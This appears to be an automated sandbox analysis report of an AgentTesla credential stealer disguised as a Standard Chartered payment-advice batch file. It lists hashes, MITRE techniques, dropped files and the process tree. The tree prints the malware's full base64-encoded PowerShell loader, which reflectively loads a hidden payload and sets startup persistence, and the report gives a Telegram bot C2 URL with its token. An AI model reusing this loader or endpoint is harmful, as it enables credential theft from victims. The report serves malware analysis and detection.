agenttesla | 100e97794ac2d4cbc658886683b4f57cb10974b80326cb79d6c6819839980392

General

Target

Standard Chartered PAYMENT _ADVICE_MT_106.bat
Size

192KB
MD5

0ee6662615731ffcd198cb8f41c4a212
SHA1

9e6020aa1086720f6eebb7ccb9538e3f70bb7234
SHA256

a579d37d72cdb59ee457ee47961807df604f9cbdf890a5453f5294078adf5ec5
SHA512

b6ddabc819683cdc170a5799f419af8c18c79bc05377027a54e607e50a1ca1c7b1b94d06dd1db8fc56751700f60567692888ee191b18f5dabec3388cf20cba0a
SSDEEP

3072:N/4wIRm6CsFo1CH22h7sC/eeLmd5wsFbZuZemHY2tWiVqd5JSH9hxnAK3irrdtJ0:iusFJh3Sd5tru1HVUAAK34rdtW

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot7012280903:AAEdEQUbH883t1SaXtDTSCypvj_4BIsCCxY/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat	powershell.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

18 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4180 set thread context of 1676 4180 powershell.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

4644 powershell.exe
4644 powershell.exe
4180 powershell.exe
4180 powershell.exe
4180 powershell.exe
1676 RegAsm.exe
1676 RegAsm.exe
1676 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 4644 powershell.exe
Token: SeDebugPrivilege 4180 powershell.exe
Token: SeDebugPrivilege 1676 RegAsm.exe

flow	ioc
18	ip-api.com

description	pid	process	target process
PID 4180 set thread context of 1676	4180	powershell.exe	RegAsm.exe

pid	process
4644	powershell.exe
4644	powershell.exe
4180	powershell.exe
4180	powershell.exe
4180	powershell.exe
1676	RegAsm.exe
1676	RegAsm.exe
1676	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	1676	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 2156 wrote to memory of 4784	2156	cmd.exe	cmd.exe
PID 2156 wrote to memory of 4784	2156	cmd.exe	cmd.exe
PID 4784 wrote to memory of 4644	4784	cmd.exe	powershell.exe
PID 4784 wrote to memory of 4644	4784	cmd.exe	powershell.exe
PID 4784 wrote to memory of 4644	4784	cmd.exe	powershell.exe
PID 4784 wrote to memory of 4180	4784	cmd.exe	powershell.exe
PID 4784 wrote to memory of 4180	4784	cmd.exe	powershell.exe
PID 4784 wrote to memory of 4180	4784	cmd.exe	powershell.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe
PID 4180 wrote to memory of 1676	4180	powershell.exe	RegAsm.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Standard Chartered PAYMENT _ADVICE_MT_106.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Standard Chartered PAYMENT _ADVICE_MT_106.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:4784

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"
3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4180

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4056 --field-trial-handle=2272,i,11831746627654527593,10138103687018060346,262144 --variations-seed-version /prefetch:8
1⤵
PID:4192

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

4

T1552

Credentials In Files

3

T1552.001

Credentials in Registry

1

T1552.002

Discovery

Lateral Movement

Collection

Data from Local System

4

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
de0d974343a26801f42067e440e7b307

SHA1
922309060b63f8b10b4463823c17be57718249f1

SHA256
e1cd9e9ba15a2cceed801d15d66d5ccbcc0a6ce702fc12cbcb67de147ea5911c

SHA512
f1bd8815d9826cfddf4dbeb69280a8fd6b87a3ec440013870944728b5ddf1fa258d56db24b50230c88b2afb084e09e0163a758a581b2c81416abfd20f7bc2417

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o4jrhfpf.1r5.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\chrome.bat
Filesize
192KB

MD5
0ee6662615731ffcd198cb8f41c4a212

SHA1
9e6020aa1086720f6eebb7ccb9538e3f70bb7234

SHA256
a579d37d72cdb59ee457ee47961807df604f9cbdf890a5453f5294078adf5ec5

SHA512
b6ddabc819683cdc170a5799f419af8c18c79bc05377027a54e607e50a1ca1c7b1b94d06dd1db8fc56751700f60567692888ee191b18f5dabec3388cf20cba0a

Download Submit
C:\Users\Admin\chrome.ps1
Filesize
1KB

MD5
1d6288e218ce9fed4e703ef5aa2e6c08

SHA1
39c5fbc0b8931bab67c40dc3f45be696ea3beb90

SHA256
d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6

SHA512
c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c

Download Submit
memory/1676-56-0x00000000057B0000-0x00000000057C0000-memory.dmp

Filesize
64KB

Download
memory/1676-58-0x0000000006BA0000-0x0000000006BF0000-memory.dmp

Filesize
320KB

Download
memory/1676-59-0x0000000006C90000-0x0000000006D22000-memory.dmp

Filesize
584KB

Download
memory/1676-55-0x0000000075310000-0x0000000075AC0000-memory.dmp

Filesize
7.7MB

Download
memory/1676-52-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1676-60-0x0000000006C20000-0x0000000006C2A000-memory.dmp

Filesize
40KB

Download
memory/1676-61-0x0000000075310000-0x0000000075AC0000-memory.dmp

Filesize
7.7MB

Download
memory/1676-62-0x00000000057B0000-0x00000000057C0000-memory.dmp

Filesize
64KB

Download
memory/4180-49-0x0000000007650000-0x00000000076B4000-memory.dmp

Filesize
400KB

Download
memory/4180-47-0x0000000007BA0000-0x0000000008144000-memory.dmp

Filesize
5.6MB

Download
memory/4180-57-0x0000000075310000-0x0000000075AC0000-memory.dmp

Filesize
7.7MB

Download
memory/4180-29-0x0000000075310000-0x0000000075AC0000-memory.dmp

Filesize
7.7MB

Download
memory/4180-30-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/4180-31-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/4180-41-0x0000000005E20000-0x0000000006174000-memory.dmp

Filesize
3.3MB

Download
memory/4180-53-0x0000000077D31000-0x0000000077E51000-memory.dmp

Filesize
1.1MB

Download
memory/4180-51-0x0000000000DE0000-0x0000000000DEA000-memory.dmp

Filesize
40KB

Download
memory/4180-44-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/4180-45-0x0000000007550000-0x00000000075E6000-memory.dmp

Filesize
600KB

Download
memory/4180-46-0x00000000068D0000-0x00000000068F2000-memory.dmp

Filesize
136KB

Download
memory/4644-20-0x00000000063A0000-0x00000000063EC000-memory.dmp

Filesize
304KB

Download
memory/4644-8-0x0000000005D20000-0x0000000005D86000-memory.dmp

Filesize
408KB

Download
memory/4644-2-0x0000000075310000-0x0000000075AC0000-memory.dmp

Filesize
7.7MB

Download
memory/4644-21-0x0000000005040000-0x0000000005050000-memory.dmp

Filesize
64KB

Download
memory/4644-19-0x0000000006350000-0x000000000636E000-memory.dmp

Filesize
120KB

Download
memory/4644-22-0x0000000007C90000-0x000000000830A000-memory.dmp

Filesize
6.5MB

Download
memory/4644-18-0x0000000005E10000-0x0000000006164000-memory.dmp

Filesize
3.3MB

Download
memory/4644-27-0x0000000075310000-0x0000000075AC0000-memory.dmp

Filesize
7.7MB

Download
memory/4644-23-0x0000000007430000-0x000000000744A000-memory.dmp

Filesize
104KB

Download
memory/4644-7-0x0000000005600000-0x0000000005666000-memory.dmp

Filesize
408KB

Download
memory/4644-6-0x0000000005560000-0x0000000005582000-memory.dmp

Filesize
136KB

Download
memory/4644-5-0x0000000005680000-0x0000000005CA8000-memory.dmp

Filesize
6.2MB

Download
memory/4644-4-0x0000000004F80000-0x0000000004FB6000-memory.dmp

Filesize
216KB

Download
memory/4644-3-0x0000000005040000-0x0000000005050000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing